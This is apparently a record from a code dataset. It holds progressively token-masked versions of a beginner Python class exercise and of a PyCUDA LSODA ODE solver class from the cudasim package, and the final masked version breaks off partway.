"class MyClass:\n name = \"alice\"\n \n def set_name(self, name):\n self.name = name\n \n def get_name(self):\n return self.name\n \n def say_hello(self):\n self.greet = \"Hello\"\n \n def say_hi(self):\n print(\"HI~~~~~\")\n \n\n\np1 = MyClass()\np2 = MyClass()\n\nprint(p1.name)\np1.set_name(\"bob\")\nprint(p1.name)\n\nprint(p2.name)\n\n# 인스턴스 멤버를 적용한후에 그 인스턴스 멤버에 접근 할 수 있다\np1.say_hello()\nprint(p1.greet)\n\n#클래스 메서드를 클래스. 으로 호출 했기 떄문에 self 파라미터를 하나 넘겨 줘야 한다 \nMyClass.say_hi(\"gg\")\n\n",
"class MyClass:\n name = 'alice'\n\n def set_name(self, name):\n self.name = name\n\n def get_name(self):\n return self.name\n\n def say_hello(self):\n self.greet = 'Hello'\n\n def say_hi(self):\n print('HI~~~~~')\n\n\np1 = MyClass()\np2 = MyClass()\nprint(p1.name)\np1.set_name('bob')\nprint(p1.name)\nprint(p2.name)\np1.say_hello()\nprint(p1.greet)\nMyClass.say_hi('gg')\n",
"class MyClass:\n name = 'alice'\n\n def set_name(self, name):\n self.name = name\n\n def get_name(self):\n return self.name\n\n def say_hello(self):\n self.greet = 'Hello'\n\n def say_hi(self):\n print('HI~~~~~')\n\n\n<assignment token>\nprint(p1.name)\np1.set_name('bob')\nprint(p1.name)\nprint(p2.name)\np1.say_hello()\nprint(p1.greet)\nMyClass.say_hi('gg')\n",
"class MyClass:\n name = 'alice'\n\n def set_name(self, name):\n self.name = name\n\n def get_name(self):\n return self.name\n\n def say_hello(self):\n self.greet = 'Hello'\n\n def say_hi(self):\n print('HI~~~~~')\n\n\n<assignment token>\n<code token>\n",
"class MyClass:\n <assignment token>\n\n def set_name(self, name):\n self.name = name\n\n def get_name(self):\n return self.name\n\n def say_hello(self):\n self.greet = 'Hello'\n\n def say_hi(self):\n print('HI~~~~~')\n\n\n<assignment token>\n<code token>\n",
"class MyClass:\n <assignment token>\n\n def set_name(self, name):\n self.name = name\n\n def get_name(self):\n return self.name\n\n def say_hello(self):\n self.greet = 'Hello'\n <function token>\n\n\n<assignment token>\n<code token>\n",
"class MyClass:\n <assignment token>\n <function token>\n\n def get_name(self):\n return self.name\n\n def say_hello(self):\n self.greet = 'Hello'\n <function token>\n\n\n<assignment token>\n<code token>\n",
"class MyClass:\n <assignment token>\n <function token>\n <function token>\n\n def say_hello(self):\n self.greet = 'Hello'\n <function token>\n\n\n<assignment token>\n<code token>\n",
"class MyClass:\n <assignment token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<assignment token>\n<code token>\n",
"<class token>\n<assignment token>\n<code token>\n"
] | false |
9,940 |
e9754530bef7614c16cdba0e818c1fa188e2d9a2
|
import os
import numpy as np
import pycuda
import pycuda.driver as driver
import cudasim.solvers.cuda.Simulator_mg as sim
import cudasim
class Lsoda(sim.SimulatorMG):
_param_tex = None
_step_code = None
_runtimeCompile = True
_lsoda_source_ = """
extern "C"{
#include <stdio.h>
__device__ myFex myfex;
__device__ myJex myjex;
__global__ void init_common(){
int tid = blockDim.x * blockIdx.x + threadIdx.x;
cuLsodaCommonBlockInit( &(common[tid]) );
}
__global__ void cuLsoda(int *neq, double *y, double *t, double *tout, int *itol,
double *rtol, double *atol, int *itask, int *istate, int *iopt,
double *rwork, int *lrw, int *iwork, int *liw, int *jt)
{
int tid = blockDim.x * blockIdx.x + threadIdx.x;
//if(tid==0){
//printf("I am thread time %d %f\\n", tid, t[0] );
//}
dlsoda_(myfex, neq+tid, y+tid*NSPECIES, t+tid, tout+tid, itol+tid, rtol+tid, atol+tid, itask+tid,
istate+tid, iopt+tid, rwork+tid*RSIZE, lrw+tid, iwork+tid*ISIZE, liw+tid, myjex, jt+tid, &(common[tid]) );
//if(tid==0){
//printf("I am done %d %f\\n", tid, t[0] );
//}
}
}
"""
def _compile(self, step_code):
# set beta to 1: repeats are pointless as simulation is deterministic
self._beta = 1
fc = open(os.path.join(os.path.split(os.path.realpath(__file__))[0], 'cuLsoda_all.cu'), 'r')
_sourceFromFile_ = fc.read()
_isize_ = "#define ISIZE " + repr(20 + self._speciesNumber) + "\n"
_rsize_ = "#define RSIZE " + repr(22 + self._speciesNumber * max(16, self._speciesNumber + 9)) + "\n"
_textures_ = "texture<float, 2, cudaReadModeElementType> param_tex;\n"
_common_block_ = "__device__ struct cuLsodaCommonBlock common[" + repr(1 * 1) + "];\n"
_code_ = _isize_ + _rsize_ + _textures_ + step_code + _sourceFromFile_ + _common_block_ + self._lsoda_source_
if self._dump:
of = open("full_ode_code.cu", "w")
print >> of, _code_
# dummy compile to determine optimal blockSize and gridSize
compiled = pycuda.compiler.SourceModule(_code_, nvcc="nvcc", options=[], no_extern_c=True, keep=False)
blocks, threads = self._getOptimalGPUParam(compiled.get_function("cuLsoda"))
blocks = self._MAXBLOCKSPERDEVICE
# real compile
_common_block_ = "__device__ struct cuLsodaCommonBlock common[" + repr(blocks * threads) + "];\n"
_code_ = _isize_ + _rsize_ + _textures_ + step_code + _sourceFromFile_ + _common_block_ + self._lsoda_source_
if self._dump:
of = open("full_ode_code.cu", "w")
print >> of, _code_
compiled = pycuda.compiler.SourceModule(_code_, nvcc="nvcc", options=[], no_extern_c=True, keep=False)
self._param_tex = compiled.get_texref("param_tex")
lsoda_kernel = compiled.get_function("cuLsoda")
return compiled, lsoda_kernel
def _run_simulation(self, parameters, init_values, blocks, threads, in_atol=1e-6, in_rtol=1e-6):
total_threads = threads * blocks
experiments = len(parameters)
neqn = self._speciesNumber
# compile
init_common_kernel = self._completeCode.get_function("init_common")
init_common_kernel(block=(threads, 1, 1), grid=(blocks, 1))
# output array
ret_xt = np.zeros([total_threads, 1, self._resultNumber, self._speciesNumber])
ret_istate = np.ones([total_threads], dtype=np.int32)
# calculate sizes of work spaces
isize = 20 + self._speciesNumber
rsize = 22 + self._speciesNumber * max(16, self._speciesNumber + 9)
# local variables
t = np.zeros([total_threads], dtype=np.float64)
jt = np.zeros([total_threads], dtype=np.int32)
neq = np.zeros([total_threads], dtype=np.int32)
itol = np.zeros([total_threads], dtype=np.int32)
iopt = np.zeros([total_threads], dtype=np.int32)
rtol = np.zeros([total_threads], dtype=np.float64)
iout = np.zeros([total_threads], dtype=np.int32)
tout = np.zeros([total_threads], dtype=np.float64)
itask = np.zeros([total_threads], dtype=np.int32)
istate = np.zeros([total_threads], dtype=np.int32)
atol = np.zeros([total_threads], dtype=np.float64)
liw = np.zeros([total_threads], dtype=np.int32)
lrw = np.zeros([total_threads], dtype=np.int32)
iwork = np.zeros([isize * total_threads], dtype=np.int32)
rwork = np.zeros([rsize * total_threads], dtype=np.float64)
y = np.zeros([self._speciesNumber * total_threads], dtype=np.float64)
for i in range(total_threads):
neq[i] = neqn
t[i] = 0
itol[i] = 1
itask[i] = 1
istate[i] = 1
iopt[i] = 0
jt[i] = 2
atol[i] = in_atol
rtol[i] = in_rtol
liw[i] = isize
lrw[i] = rsize
try:
# initial conditions
for j in range(self._speciesNumber):
# loop over species
y[i * self._speciesNumber + j] = init_values[i][j]
ret_xt[i, 0, 0, j] = init_values[i][j]
except IndexError:
pass
# allocate on device
d_t = driver.mem_alloc(t.size * t.dtype.itemsize)
d_jt = driver.mem_alloc(jt.size * jt.dtype.itemsize)
d_neq = driver.mem_alloc(neq.size * neq.dtype.itemsize)
d_liw = driver.mem_alloc(liw.size * liw.dtype.itemsize)
d_lrw = driver.mem_alloc(lrw.size * lrw.dtype.itemsize)
d_itol = driver.mem_alloc(itol.size * itol.dtype.itemsize)
d_iopt = driver.mem_alloc(iopt.size * iopt.dtype.itemsize)
d_rtol = driver.mem_alloc(rtol.size * rtol.dtype.itemsize)
d_iout = driver.mem_alloc(iout.size * iout.dtype.itemsize)
d_tout = driver.mem_alloc(tout.size * tout.dtype.itemsize)
d_itask = driver.mem_alloc(itask.size * itask.dtype.itemsize)
d_istate = driver.mem_alloc(istate.size * istate.dtype.itemsize)
d_y = driver.mem_alloc(y.size * y.dtype.itemsize)
d_atol = driver.mem_alloc(atol.size * atol.dtype.itemsize)
d_iwork = driver.mem_alloc(iwork.size * iwork.dtype.itemsize)
d_rwork = driver.mem_alloc(rwork.size * rwork.dtype.itemsize)
# copy to device
driver.memcpy_htod(d_t, t)
driver.memcpy_htod(d_jt, jt)
driver.memcpy_htod(d_neq, neq)
driver.memcpy_htod(d_liw, liw)
driver.memcpy_htod(d_lrw, lrw)
driver.memcpy_htod(d_itol, itol)
driver.memcpy_htod(d_iopt, iopt)
driver.memcpy_htod(d_rtol, rtol)
driver.memcpy_htod(d_iout, iout)
driver.memcpy_htod(d_tout, tout)
driver.memcpy_htod(d_itask, itask)
driver.memcpy_htod(d_istate, istate)
driver.memcpy_htod(d_y, y)
driver.memcpy_htod(d_atol, atol)
driver.memcpy_htod(d_iwork, iwork)
driver.memcpy_htod(d_rwork, rwork)
param = np.zeros((total_threads, self._parameterNumber), dtype=np.float32)
try:
for i in range(len(parameters)):
for j in range(self._parameterNumber):
param[i][j] = parameters[i][j]
except IndexError:
pass
# parameter texture
ary = sim.create_2D_array(param)
sim.copy2D_host_to_array(ary, param, self._parameterNumber * 4, total_threads)
self._param_tex.set_array(ary)
if self._dt <= 0:
for i in range(self._resultNumber):
for j in range(total_threads):
tout[j] = self._timepoints[i]
driver.memcpy_htod(d_tout, tout)
self._compiledRunMethod(d_neq, d_y, d_t, d_tout, d_itol, d_rtol, d_atol, d_itask, d_istate,
d_iopt, d_rwork, d_lrw, d_iwork, d_liw, d_jt, block=(threads, 1, 1),
grid=(blocks, 1))
driver.memcpy_dtoh(t, d_t)
driver.memcpy_dtoh(y, d_y)
driver.memcpy_dtoh(istate, d_istate)
for j in range(total_threads):
for k in range(self._speciesNumber):
ret_xt[j, 0, i, k] = y[j * self._speciesNumber + k]
if istate[j] < 0:
ret_istate[j] = 0
# end of loop over time points
else:
tt = self._timepoints[0]
for i in range(self._resultNumber):
while 1:
next_time = min(tt + self._dt, self._timepoints[i])
for j in range(total_threads):
tout[j] = next_time
driver.memcpy_htod(d_tout, tout)
self._compiledRunMethod(d_neq, d_y, d_t, d_tout, d_itol, d_rtol, d_atol, d_itask, d_istate,
d_iopt, d_rwork, d_lrw, d_iwork, d_liw, d_jt, block=(threads, 1, 1),
grid=(blocks, 1))
driver.memcpy_dtoh(t, d_t)
driver.memcpy_dtoh(y, d_y)
driver.memcpy_dtoh(istate, d_istate)
if np.abs(next_time - self._timepoints[i]) < 1e-5:
tt = next_time
break
tt = next_time
for j in range(total_threads):
for k in range(self._speciesNumber):
ret_xt[j, 0, i, k] = y[j * self._speciesNumber + k]
if istate[j] < 0:
ret_istate[j] = 0
# loop over and check ret_istate
# it will will be zero if there was problems
for j in range(total_threads):
if ret_istate[j] == 0:
for i in range(self._resultNumber):
for k in range(self._speciesNumber):
ret_xt[j, 0, i, k] = float('NaN')
return ret_xt[0:experiments]
|
[
"import os\n\nimport numpy as np\nimport pycuda\nimport pycuda.driver as driver\n\nimport cudasim.solvers.cuda.Simulator_mg as sim\nimport cudasim\n\nclass Lsoda(sim.SimulatorMG):\n _param_tex = None\n\n _step_code = None\n _runtimeCompile = True\n\n _lsoda_source_ = \"\"\"\n \n extern \"C\"{\n\n #include <stdio.h>\n \n __device__ myFex myfex;\n __device__ myJex myjex;\n \n __global__ void init_common(){\n int tid = blockDim.x * blockIdx.x + threadIdx.x;\n cuLsodaCommonBlockInit( &(common[tid]) );\n }\n \n __global__ void cuLsoda(int *neq, double *y, double *t, double *tout, int *itol, \n double *rtol, double *atol, int *itask, int *istate, int *iopt, \n double *rwork, int *lrw, int *iwork, int *liw, int *jt)\n {\n int tid = blockDim.x * blockIdx.x + threadIdx.x;\n\n //if(tid==0){\n //printf(\"I am thread time %d %f\\\\n\", tid, t[0] );\n //}\n\n dlsoda_(myfex, neq+tid, y+tid*NSPECIES, t+tid, tout+tid, itol+tid, rtol+tid, atol+tid, itask+tid, \n istate+tid, iopt+tid, rwork+tid*RSIZE, lrw+tid, iwork+tid*ISIZE, liw+tid, myjex, jt+tid, &(common[tid]) );\n\n //if(tid==0){\n //printf(\"I am done %d %f\\\\n\", tid, t[0] );\n //}\n }\n }\n \n \"\"\"\n\n def _compile(self, step_code):\n # set beta to 1: repeats are pointless as simulation is deterministic\n self._beta = 1\n\n fc = open(os.path.join(os.path.split(os.path.realpath(__file__))[0], 'cuLsoda_all.cu'), 'r')\n\n _sourceFromFile_ = fc.read()\n\n _isize_ = \"#define ISIZE \" + repr(20 + self._speciesNumber) + \"\\n\"\n _rsize_ = \"#define RSIZE \" + repr(22 + self._speciesNumber * max(16, self._speciesNumber + 9)) + \"\\n\"\n\n _textures_ = \"texture<float, 2, cudaReadModeElementType> param_tex;\\n\"\n _common_block_ = \"__device__ struct cuLsodaCommonBlock common[\" + repr(1 * 1) + \"];\\n\"\n _code_ = _isize_ + _rsize_ + _textures_ + step_code + _sourceFromFile_ + _common_block_ + self._lsoda_source_\n\n if self._dump:\n of = open(\"full_ode_code.cu\", \"w\")\n print >> of, _code_\n\n # dummy compile to determine optimal blockSize and gridSize\n compiled = pycuda.compiler.SourceModule(_code_, nvcc=\"nvcc\", options=[], no_extern_c=True, keep=False)\n\n blocks, threads = self._getOptimalGPUParam(compiled.get_function(\"cuLsoda\"))\n blocks = self._MAXBLOCKSPERDEVICE\n\n # real compile\n _common_block_ = \"__device__ struct cuLsodaCommonBlock common[\" + repr(blocks * threads) + \"];\\n\"\n _code_ = _isize_ + _rsize_ + _textures_ + step_code + _sourceFromFile_ + _common_block_ + self._lsoda_source_\n\n if self._dump:\n of = open(\"full_ode_code.cu\", \"w\")\n print >> of, _code_\n\n compiled = pycuda.compiler.SourceModule(_code_, nvcc=\"nvcc\", options=[], no_extern_c=True, keep=False)\n\n self._param_tex = compiled.get_texref(\"param_tex\")\n\n lsoda_kernel = compiled.get_function(\"cuLsoda\")\n return compiled, lsoda_kernel\n\n def _run_simulation(self, parameters, init_values, blocks, threads, in_atol=1e-6, in_rtol=1e-6):\n\n total_threads = threads * blocks\n experiments = len(parameters)\n\n neqn = self._speciesNumber\n\n # compile\n init_common_kernel = self._completeCode.get_function(\"init_common\")\n init_common_kernel(block=(threads, 1, 1), grid=(blocks, 1))\n\n # output array\n ret_xt = np.zeros([total_threads, 1, self._resultNumber, self._speciesNumber])\n ret_istate = np.ones([total_threads], dtype=np.int32)\n\n # calculate sizes of work spaces\n isize = 20 + self._speciesNumber\n rsize = 22 + self._speciesNumber * max(16, self._speciesNumber + 9)\n\n # local variables\n t = np.zeros([total_threads], dtype=np.float64)\n jt = np.zeros([total_threads], dtype=np.int32)\n neq = np.zeros([total_threads], dtype=np.int32)\n itol = np.zeros([total_threads], dtype=np.int32)\n iopt = np.zeros([total_threads], dtype=np.int32)\n rtol = np.zeros([total_threads], dtype=np.float64)\n iout = np.zeros([total_threads], dtype=np.int32)\n tout = np.zeros([total_threads], dtype=np.float64)\n itask = np.zeros([total_threads], dtype=np.int32)\n istate = np.zeros([total_threads], dtype=np.int32)\n atol = np.zeros([total_threads], dtype=np.float64)\n\n liw = np.zeros([total_threads], dtype=np.int32)\n lrw = np.zeros([total_threads], dtype=np.int32)\n iwork = np.zeros([isize * total_threads], dtype=np.int32)\n rwork = np.zeros([rsize * total_threads], dtype=np.float64)\n y = np.zeros([self._speciesNumber * total_threads], dtype=np.float64)\n\n for i in range(total_threads):\n neq[i] = neqn\n t[i] = 0\n itol[i] = 1\n itask[i] = 1\n istate[i] = 1\n iopt[i] = 0\n jt[i] = 2\n atol[i] = in_atol\n rtol[i] = in_rtol\n\n liw[i] = isize\n lrw[i] = rsize\n\n try:\n # initial conditions\n for j in range(self._speciesNumber):\n # loop over species\n y[i * self._speciesNumber + j] = init_values[i][j]\n ret_xt[i, 0, 0, j] = init_values[i][j]\n except IndexError:\n pass\n\n # allocate on device\n d_t = driver.mem_alloc(t.size * t.dtype.itemsize)\n d_jt = driver.mem_alloc(jt.size * jt.dtype.itemsize)\n d_neq = driver.mem_alloc(neq.size * neq.dtype.itemsize)\n d_liw = driver.mem_alloc(liw.size * liw.dtype.itemsize)\n d_lrw = driver.mem_alloc(lrw.size * lrw.dtype.itemsize)\n d_itol = driver.mem_alloc(itol.size * itol.dtype.itemsize)\n d_iopt = driver.mem_alloc(iopt.size * iopt.dtype.itemsize)\n d_rtol = driver.mem_alloc(rtol.size * rtol.dtype.itemsize)\n d_iout = driver.mem_alloc(iout.size * iout.dtype.itemsize)\n d_tout = driver.mem_alloc(tout.size * tout.dtype.itemsize)\n d_itask = driver.mem_alloc(itask.size * itask.dtype.itemsize)\n d_istate = driver.mem_alloc(istate.size * istate.dtype.itemsize)\n d_y = driver.mem_alloc(y.size * y.dtype.itemsize)\n d_atol = driver.mem_alloc(atol.size * atol.dtype.itemsize)\n d_iwork = driver.mem_alloc(iwork.size * iwork.dtype.itemsize)\n d_rwork = driver.mem_alloc(rwork.size * rwork.dtype.itemsize)\n\n # copy to device\n driver.memcpy_htod(d_t, t)\n driver.memcpy_htod(d_jt, jt)\n driver.memcpy_htod(d_neq, neq)\n driver.memcpy_htod(d_liw, liw)\n driver.memcpy_htod(d_lrw, lrw)\n driver.memcpy_htod(d_itol, itol)\n driver.memcpy_htod(d_iopt, iopt)\n driver.memcpy_htod(d_rtol, rtol)\n driver.memcpy_htod(d_iout, iout)\n driver.memcpy_htod(d_tout, tout)\n driver.memcpy_htod(d_itask, itask)\n driver.memcpy_htod(d_istate, istate)\n driver.memcpy_htod(d_y, y)\n driver.memcpy_htod(d_atol, atol)\n driver.memcpy_htod(d_iwork, iwork)\n driver.memcpy_htod(d_rwork, rwork)\n\n param = np.zeros((total_threads, self._parameterNumber), dtype=np.float32)\n try:\n for i in range(len(parameters)):\n for j in range(self._parameterNumber):\n param[i][j] = parameters[i][j]\n except IndexError:\n pass\n\n # parameter texture\n ary = sim.create_2D_array(param)\n sim.copy2D_host_to_array(ary, param, self._parameterNumber * 4, total_threads)\n self._param_tex.set_array(ary)\n\n if self._dt <= 0:\n for i in range(self._resultNumber):\n\n for j in range(total_threads):\n tout[j] = self._timepoints[i]\n driver.memcpy_htod(d_tout, tout)\n\n self._compiledRunMethod(d_neq, d_y, d_t, d_tout, d_itol, d_rtol, d_atol, d_itask, d_istate,\n d_iopt, d_rwork, d_lrw, d_iwork, d_liw, d_jt, block=(threads, 1, 1),\n grid=(blocks, 1))\n\n driver.memcpy_dtoh(t, d_t)\n driver.memcpy_dtoh(y, d_y)\n driver.memcpy_dtoh(istate, d_istate)\n\n for j in range(total_threads):\n for k in range(self._speciesNumber):\n ret_xt[j, 0, i, k] = y[j * self._speciesNumber + k]\n\n if istate[j] < 0:\n ret_istate[j] = 0\n\n # end of loop over time points\n\n else:\n tt = self._timepoints[0]\n\n for i in range(self._resultNumber):\n while 1:\n\n next_time = min(tt + self._dt, self._timepoints[i])\n\n for j in range(total_threads):\n tout[j] = next_time\n driver.memcpy_htod(d_tout, tout)\n\n self._compiledRunMethod(d_neq, d_y, d_t, d_tout, d_itol, d_rtol, d_atol, d_itask, d_istate,\n d_iopt, d_rwork, d_lrw, d_iwork, d_liw, d_jt, block=(threads, 1, 1),\n grid=(blocks, 1))\n\n driver.memcpy_dtoh(t, d_t)\n driver.memcpy_dtoh(y, d_y)\n driver.memcpy_dtoh(istate, d_istate)\n\n if np.abs(next_time - self._timepoints[i]) < 1e-5:\n tt = next_time\n break\n\n tt = next_time\n\n for j in range(total_threads):\n for k in range(self._speciesNumber):\n ret_xt[j, 0, i, k] = y[j * self._speciesNumber + k]\n\n if istate[j] < 0:\n ret_istate[j] = 0\n\n # loop over and check ret_istate\n # it will will be zero if there was problems\n for j in range(total_threads):\n if ret_istate[j] == 0:\n for i in range(self._resultNumber):\n for k in range(self._speciesNumber):\n ret_xt[j, 0, i, k] = float('NaN')\n\n return ret_xt[0:experiments]\n",
"import os\nimport numpy as np\nimport pycuda\nimport pycuda.driver as driver\nimport cudasim.solvers.cuda.Simulator_mg as sim\nimport cudasim\n\n\nclass Lsoda(sim.SimulatorMG):\n _param_tex = None\n _step_code = None\n _runtimeCompile = True\n _lsoda_source_ = \"\"\"\n \n extern \"C\"{\n\n #include <stdio.h>\n \n __device__ myFex myfex;\n __device__ myJex myjex;\n \n __global__ void init_common(){\n int tid = blockDim.x * blockIdx.x + threadIdx.x;\n cuLsodaCommonBlockInit( &(common[tid]) );\n }\n \n __global__ void cuLsoda(int *neq, double *y, double *t, double *tout, int *itol, \n double *rtol, double *atol, int *itask, int *istate, int *iopt, \n double *rwork, int *lrw, int *iwork, int *liw, int *jt)\n {\n int tid = blockDim.x * blockIdx.x + threadIdx.x;\n\n //if(tid==0){\n //printf(\"I am thread time %d %f\\\\n\", tid, t[0] );\n //}\n\n dlsoda_(myfex, neq+tid, y+tid*NSPECIES, t+tid, tout+tid, itol+tid, rtol+tid, atol+tid, itask+tid, \n istate+tid, iopt+tid, rwork+tid*RSIZE, lrw+tid, iwork+tid*ISIZE, liw+tid, myjex, jt+tid, &(common[tid]) );\n\n //if(tid==0){\n //printf(\"I am done %d %f\\\\n\", tid, t[0] );\n //}\n }\n }\n \n \"\"\"\n\n def _compile(self, step_code):\n self._beta = 1\n fc = open(os.path.join(os.path.split(os.path.realpath(__file__))[0],\n 'cuLsoda_all.cu'), 'r')\n _sourceFromFile_ = fc.read()\n _isize_ = '#define ISIZE ' + repr(20 + self._speciesNumber) + '\\n'\n _rsize_ = '#define RSIZE ' + repr(22 + self._speciesNumber * max(16,\n self._speciesNumber + 9)) + '\\n'\n _textures_ = 'texture<float, 2, cudaReadModeElementType> param_tex;\\n'\n _common_block_ = '__device__ struct cuLsodaCommonBlock common[' + repr(\n 1 * 1) + '];\\n'\n _code_ = (_isize_ + _rsize_ + _textures_ + step_code +\n _sourceFromFile_ + _common_block_ + self._lsoda_source_)\n if self._dump:\n of = open('full_ode_code.cu', 'w')\n print >> of, _code_\n compiled = pycuda.compiler.SourceModule(_code_, nvcc='nvcc',\n options=[], no_extern_c=True, keep=False)\n blocks, threads = self._getOptimalGPUParam(compiled.get_function(\n 'cuLsoda'))\n blocks = self._MAXBLOCKSPERDEVICE\n _common_block_ = '__device__ struct cuLsodaCommonBlock common[' + repr(\n blocks * threads) + '];\\n'\n _code_ = (_isize_ + _rsize_ + _textures_ + step_code +\n _sourceFromFile_ + _common_block_ + self._lsoda_source_)\n if self._dump:\n of = open('full_ode_code.cu', 'w')\n print >> of, _code_\n compiled = pycuda.compiler.SourceModule(_code_, nvcc='nvcc',\n options=[], no_extern_c=True, keep=False)\n self._param_tex = compiled.get_texref('param_tex')\n lsoda_kernel = compiled.get_function('cuLsoda')\n return compiled, lsoda_kernel\n\n def _run_simulation(self, parameters, init_values, blocks, threads,\n in_atol=1e-06, in_rtol=1e-06):\n total_threads = threads * blocks\n experiments = len(parameters)\n neqn = self._speciesNumber\n init_common_kernel = self._completeCode.get_function('init_common')\n init_common_kernel(block=(threads, 1, 1), grid=(blocks, 1))\n ret_xt = np.zeros([total_threads, 1, self._resultNumber, self.\n _speciesNumber])\n ret_istate = np.ones([total_threads], dtype=np.int32)\n isize = 20 + self._speciesNumber\n rsize = 22 + self._speciesNumber * max(16, self._speciesNumber + 9)\n t = np.zeros([total_threads], dtype=np.float64)\n jt = np.zeros([total_threads], dtype=np.int32)\n neq = np.zeros([total_threads], dtype=np.int32)\n itol = np.zeros([total_threads], dtype=np.int32)\n iopt = np.zeros([total_threads], dtype=np.int32)\n rtol = np.zeros([total_threads], dtype=np.float64)\n iout = np.zeros([total_threads], dtype=np.int32)\n tout = np.zeros([total_threads], dtype=np.float64)\n itask = np.zeros([total_threads], dtype=np.int32)\n istate = np.zeros([total_threads], dtype=np.int32)\n atol = np.zeros([total_threads], dtype=np.float64)\n liw = np.zeros([total_threads], dtype=np.int32)\n lrw = np.zeros([total_threads], dtype=np.int32)\n iwork = np.zeros([isize * total_threads], dtype=np.int32)\n rwork = np.zeros([rsize * total_threads], dtype=np.float64)\n y = np.zeros([self._speciesNumber * total_threads], dtype=np.float64)\n for i in range(total_threads):\n neq[i] = neqn\n t[i] = 0\n itol[i] = 1\n itask[i] = 1\n istate[i] = 1\n iopt[i] = 0\n jt[i] = 2\n atol[i] = in_atol\n rtol[i] = in_rtol\n liw[i] = isize\n lrw[i] = rsize\n try:\n for j in range(self._speciesNumber):\n y[i * self._speciesNumber + j] = init_values[i][j]\n ret_xt[i, 0, 0, j] = init_values[i][j]\n except IndexError:\n pass\n d_t = driver.mem_alloc(t.size * t.dtype.itemsize)\n d_jt = driver.mem_alloc(jt.size * jt.dtype.itemsize)\n d_neq = driver.mem_alloc(neq.size * neq.dtype.itemsize)\n d_liw = driver.mem_alloc(liw.size * liw.dtype.itemsize)\n d_lrw = driver.mem_alloc(lrw.size * lrw.dtype.itemsize)\n d_itol = driver.mem_alloc(itol.size * itol.dtype.itemsize)\n d_iopt = driver.mem_alloc(iopt.size * iopt.dtype.itemsize)\n d_rtol = driver.mem_alloc(rtol.size * rtol.dtype.itemsize)\n d_iout = driver.mem_alloc(iout.size * iout.dtype.itemsize)\n d_tout = driver.mem_alloc(tout.size * tout.dtype.itemsize)\n d_itask = driver.mem_alloc(itask.size * itask.dtype.itemsize)\n d_istate = driver.mem_alloc(istate.size * istate.dtype.itemsize)\n d_y = driver.mem_alloc(y.size * y.dtype.itemsize)\n d_atol = driver.mem_alloc(atol.size * atol.dtype.itemsize)\n d_iwork = driver.mem_alloc(iwork.size * iwork.dtype.itemsize)\n d_rwork = driver.mem_alloc(rwork.size * rwork.dtype.itemsize)\n driver.memcpy_htod(d_t, t)\n driver.memcpy_htod(d_jt, jt)\n driver.memcpy_htod(d_neq, neq)\n driver.memcpy_htod(d_liw, liw)\n driver.memcpy_htod(d_lrw, lrw)\n driver.memcpy_htod(d_itol, itol)\n driver.memcpy_htod(d_iopt, iopt)\n driver.memcpy_htod(d_rtol, rtol)\n driver.memcpy_htod(d_iout, iout)\n driver.memcpy_htod(d_tout, tout)\n driver.memcpy_htod(d_itask, itask)\n driver.memcpy_htod(d_istate, istate)\n driver.memcpy_htod(d_y, y)\n driver.memcpy_htod(d_atol, atol)\n driver.memcpy_htod(d_iwork, iwork)\n driver.memcpy_htod(d_rwork, rwork)\n param = np.zeros((total_threads, self._parameterNumber), dtype=np.\n float32)\n try:\n for i in range(len(parameters)):\n for j in range(self._parameterNumber):\n param[i][j] = parameters[i][j]\n except IndexError:\n pass\n ary = sim.create_2D_array(param)\n sim.copy2D_host_to_array(ary, param, self._parameterNumber * 4,\n total_threads)\n self._param_tex.set_array(ary)\n if self._dt <= 0:\n for i in range(self._resultNumber):\n for j in range(total_threads):\n tout[j] = self._timepoints[i]\n driver.memcpy_htod(d_tout, tout)\n self._compiledRunMethod(d_neq, d_y, d_t, d_tout, d_itol,\n d_rtol, d_atol, d_itask, d_istate, d_iopt, d_rwork,\n d_lrw, d_iwork, d_liw, d_jt, block=(threads, 1, 1),\n grid=(blocks, 1))\n driver.memcpy_dtoh(t, d_t)\n driver.memcpy_dtoh(y, d_y)\n driver.memcpy_dtoh(istate, d_istate)\n for j in range(total_threads):\n for k in range(self._speciesNumber):\n ret_xt[j, 0, i, k] = y[j * self._speciesNumber + k]\n if istate[j] < 0:\n ret_istate[j] = 0\n else:\n tt = self._timepoints[0]\n for i in range(self._resultNumber):\n while 1:\n next_time = min(tt + self._dt, self._timepoints[i])\n for j in range(total_threads):\n tout[j] = next_time\n driver.memcpy_htod(d_tout, tout)\n self._compiledRunMethod(d_neq, d_y, d_t, d_tout, d_itol,\n d_rtol, d_atol, d_itask, d_istate, d_iopt, d_rwork,\n d_lrw, d_iwork, d_liw, d_jt, block=(threads, 1, 1),\n grid=(blocks, 1))\n driver.memcpy_dtoh(t, d_t)\n driver.memcpy_dtoh(y, d_y)\n driver.memcpy_dtoh(istate, d_istate)\n if np.abs(next_time - self._timepoints[i]) < 1e-05:\n tt = next_time\n break\n tt = next_time\n for j in range(total_threads):\n for k in range(self._speciesNumber):\n ret_xt[j, 0, i, k] = y[j * self._speciesNumber + k]\n if istate[j] < 0:\n ret_istate[j] = 0\n for j in range(total_threads):\n if ret_istate[j] == 0:\n for i in range(self._resultNumber):\n for k in range(self._speciesNumber):\n ret_xt[j, 0, i, k] = float('NaN')\n return ret_xt[0:experiments]\n",
"<import token>\n\n\nclass Lsoda(sim.SimulatorMG):\n _param_tex = None\n _step_code = None\n _runtimeCompile = True\n _lsoda_source_ = \"\"\"\n \n extern \"C\"{\n\n #include <stdio.h>\n \n __device__ myFex myfex;\n __device__ myJex myjex;\n \n __global__ void init_common(){\n int tid = blockDim.x * blockIdx.x + threadIdx.x;\n cuLsodaCommonBlockInit( &(common[tid]) );\n }\n \n __global__ void cuLsoda(int *neq, double *y, double *t, double *tout, int *itol, \n double *rtol, double *atol, int *itask, int *istate, int *iopt, \n double *rwork, int *lrw, int *iwork, int *liw, int *jt)\n {\n int tid = blockDim.x * blockIdx.x + threadIdx.x;\n\n //if(tid==0){\n //printf(\"I am thread time %d %f\\\\n\", tid, t[0] );\n //}\n\n dlsoda_(myfex, neq+tid, y+tid*NSPECIES, t+tid, tout+tid, itol+tid, rtol+tid, atol+tid, itask+tid, \n istate+tid, iopt+tid, rwork+tid*RSIZE, lrw+tid, iwork+tid*ISIZE, liw+tid, myjex, jt+tid, &(common[tid]) );\n\n //if(tid==0){\n //printf(\"I am done %d %f\\\\n\", tid, t[0] );\n //}\n }\n }\n \n \"\"\"\n\n def _compile(self, step_code):\n self._beta = 1\n fc = open(os.path.join(os.path.split(os.path.realpath(__file__))[0],\n 'cuLsoda_all.cu'), 'r')\n _sourceFromFile_ = fc.read()\n _isize_ = '#define ISIZE ' + 